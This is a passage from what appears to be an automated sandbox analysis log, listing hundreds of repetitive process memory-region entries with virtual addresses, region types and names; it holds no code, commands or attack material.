0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8885 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8886 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8887 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8888 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8889 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8890 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8891 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8892 start_va = 0x1d870000 end_va = 0x1d8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 8893 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8894 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8895 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8896 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8897 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8898 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8899 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8900 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8901 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8902 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8903 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8904 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8905 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8906 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8907 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8908 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8909 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8910 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8911 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8912 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8913 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8914 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8915 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8916 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8917 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8918 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8919 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8920 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8921 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8922 start_va = 0x1eab0000 end_va = 0x1ebaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001eab0000" filename = "" Region: id = 8923 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8924 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8925 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8926 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8927 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8928 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8929 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8930 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8931 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8932 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8933 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8934 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8935 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8936 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8937 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 8938 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8939 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8940 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8941 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8942 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8943 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8944 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8945 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8946 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8947 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8948 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8949 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8950 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8951 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8952 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8953 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8954 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8955 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8956 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8957 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8958 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8959 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8960 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8961 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8962 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8963 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8964 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8965 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8966 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8967 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8968 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8969 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8970 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8971 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8972 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8973 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8974 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8975 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8976 start_va = 0x1bb40000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8977 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8978 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8979 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 8980 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8981 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8982 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8983 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8984 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8985 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8986 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8987 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8988 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d8b0000" filename = "" Region: id = 8989 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8990 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d8c0000" filename = "" Region: id = 8991 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8992 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d8d0000" filename = "" Region: id = 8993 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8994 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 8995 start_va = 0x1daf0000 end_va = 0x1db21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001daf0000" filename = "" Region: id = 8996 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001daf0000" filename = "" Region: id = 8997 start_va = 0x1db00000 end_va = 0x1db31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db00000" filename = "" Region: id = 8998 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8999 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9000 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9001 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8d0000" filename = "" Region: id = 9002 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9003 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8e0000" filename = "" Region: id = 9004 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9005 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8f0000" filename = "" Region: id = 9006 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9007 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9008 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9009 start_va = 0x1b8c0000 end_va = 0x1b8ddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 9010 start_va = 0x1f2e0000 end_va = 0x1fadffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001f2e0000" filename = "" Region: id = 9011 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9012 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9013 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9014 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9015 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9016 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9023 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9024 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9025 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9026 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9027 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9028 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9029 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9030 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9031 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9032 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9033 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9034 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9035 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9036 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9037 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9038 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9039 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9040 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9041 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9042 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9043 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9044 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9045 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9046 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9047 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9048 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9049 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9050 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9051 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9052 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9053 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9054 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9055 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9056 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9057 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9058 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9059 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9060 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9061 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9062 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9063 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9064 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9065 